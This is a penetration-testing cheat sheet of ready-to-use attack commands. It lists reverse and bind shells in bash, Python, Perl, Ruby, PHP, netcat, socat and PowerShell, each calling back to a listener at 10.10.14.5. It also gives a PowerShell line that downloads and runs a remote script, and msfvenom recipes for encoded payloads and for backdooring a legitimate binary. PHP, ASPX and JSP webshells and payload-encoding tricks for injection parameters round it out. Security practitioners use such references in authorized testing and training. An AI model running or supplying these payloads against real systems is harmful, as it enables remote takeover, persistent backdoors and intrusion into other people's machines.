Cheatsheet
Listener (catch everything)
nc -lvnp 4444 # basic netcat listener
rlwrap nc -lvnp 4444 # with readline (arrow keys, history)
socat -d -d TCP-LISTEN:4444,reuseaddr - # socat listener
# msfconsole handler
msfconsole -q -x "use exploit/multi/handler; set payload linux/x64/shell_reverse_tcp; set LHOST 10.10.14.5; set LPORT 4444; run"
Bash Reverse Shell
bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'
bash -c 'exec bash -i &>/dev/tcp/10.10.14.5/4444 <&1'
0< & 196 ; exec 196 <> /dev/tcp/10.10.14.5/4444 ; sh < & 196 >&196 2>&196
Python Reverse Shell
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.14.5",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Perl / Ruby / PHP Reverse Shells
perl -e 'use Socket;$i="10.10.14.5";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
ruby -rsocket -e 'f=TCPSocket.open("10.10.14.5",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
php -r '$sock=fsockopen("10.10.14.5",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
Netcat Reverse Shell
nc -e /bin/sh 10.10.14.5 4444 # if -e available
rm /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1| nc 10.10.14.5 4444 > /tmp/f # no -e
Socat Reverse Shell (fully TTY)
# listener
socat -d -d file:` tty ` ,raw,echo =0 TCP-LISTEN:4444
# victim
socat TCP:10.10.14.5:4444 EXEC:"bash -li",pty,stderr,setsid,sigint,sane
Bind Shells
# victim listens, you connect in
nc -lvnp 4444 -e /bin/sh # linux victim
ncat -lvnp 4444 -e cmd.exe # windows victim
# attacker
nc < victim-i p > 4444
PowerShell Reverse Shell
powershell - NoP - NonI - W Hidden - Exec Bypass - c " $c =New-Object System.Net.Sockets.TCPClient('10.10.14.5',4444); $s = $c .GetStream();[byte[]] $b =0..65535|%{0};while(( $i = $s .Read( $b ,0, $b .Length)) -ne 0){ $d =(New-Object -TypeName System.Text.ASCIIEncoding).GetString( $b ,0, $i ); $r =(iex $d 2>&1 | Out-String ); $rb =([text.encoding]::ASCII).GetBytes( $r +'PS> '); $s .Write( $rb ,0, $rb .Length); $s .Flush()}; $c .Close()"
Nishang / IEX One-Liner
powershell - c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.5 -Port 4444"
# Linux ELF
msfvenom -p linux/x64/shell_reverse_tcp LHOST= 10.10.14.5 LPORT= 4444 -f elf -o shell.elf
# Windows EXE
msfvenom -p windows/x64/shell_reverse_tcp LHOST= 10.10.14.5 LPORT= 4444 -f exe -o shell.exe
# Windows Meterpreter EXE (staged)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= 10.10.14.5 LPORT= 4444 -f exe -o met.exe
# Java WAR (Tomcat)
msfvenom -p java/jsp_shell_reverse_tcp LHOST= 10.10.14.5 LPORT= 4444 -f war -o shell.war
# JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST= 10.10.14.5 LPORT= 4444 -f raw -o shell.jsp
# ASPX
msfvenom -p windows/x64/shell_reverse_tcp LHOST= 10.10.14.5 LPORT= 4444 -f aspx -o shell.aspx
# PHP
msfvenom -p php/reverse_php LHOST= 10.10.14.5 LPORT= 4444 -f raw -o shell.php
# DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST= 10.10.14.5 LPORT= 4444 -f dll -o shell.dll
# Raw shellcode (C buffer)
msfvenom -p windows/x64/shell_reverse_tcp LHOST= 10.10.14.5 LPORT= 4444 -f c
msfvenom — Encoding & Badchars
msfvenom -p windows/shell_reverse_tcp LHOST= 10.10.14.5 LPORT= 4444 \
-e x86/shikata_ga_nai -i 10 -b '\x00\x0a\x0d' -f exe -o enc.exe
# Inject into legit binary, keep original working (-k)
msfvenom -p windows/meterpreter/reverse_tcp LHOST= 10.10.14.5 LPORT= 4444 \
-x /usr/share/windows-binaries/plink.exe -k -f exe -o backdoored.exe
PHP Webshells
<? php system ($_GET[ 'c' ]); ?>
<? php echo shell_exec ($_GET[ 'c' ]); ?>
<? php passthru ($_REQUEST[ 'c' ]); ?>
<?= ` $_GET [0]` ?>
ASPX Webshell
<%@ Page Language="C#" %>
<% Response.Write(new System.Diagnostics.Process{StartInfo=new System.Diagnostics.ProcessStartInfo("cmd","/c "+Request["c"]){UseShellExecute=false,RedirectStandardOutput=true}}.Start()); %>
JSP Webshell
<%@ page import="java.util.*,java.io.*"%>
<% String c=request.getParameter("c"); if(c!=null){ Process p=Runtime.getRuntime().exec(c); BufferedReader r=new BufferedReader(new InputStreamReader(p.getInputStream())); String l; while((l=r.readLine())!=null){out.println(l);} } %>
TTY Upgrade (the standard dance)
# 1. in the dumb shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
# (or) script -qc /bin/bash /dev/null
# (or) /usr/bin/script -qc /bin/bash /dev/null
# 2. background with CTRL+Z, then in YOUR terminal
stty raw -echo ; fg
# press enter
# 3. back in the shell
export TERM = xterm
export SHELL = bash
stty rows 50 columns 200
Multi/Handler Quick-Fire
msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST tun0; set LPORT 4444; set ExitOnSession false; run -j"
URL-Encode a Reverse Shell (for RCE params)
python3 -c "from urllib.parse import quote; print(quote('bash -c \" bash -i >& /dev/tcp/10.10.14.5/4444 0>&1 \" '))"
Base64 Encode a PowerShell Payload
# Linux side
PAYLOAD = '$c=New-Object System.Net.Sockets.TCPClient("10.10.14.5",4444);...'
echo -n " $PAYLOAD " | iconv -t UTF-16LE | base64 -w0
# victim side
powershell -nop -w hidden -enc < base6 4>
Checklist
Choosing the Shell
Setting Up the Listener
Firing the Payload
Upgrading the Shell
Persistence / Resilience
Operator Hygiene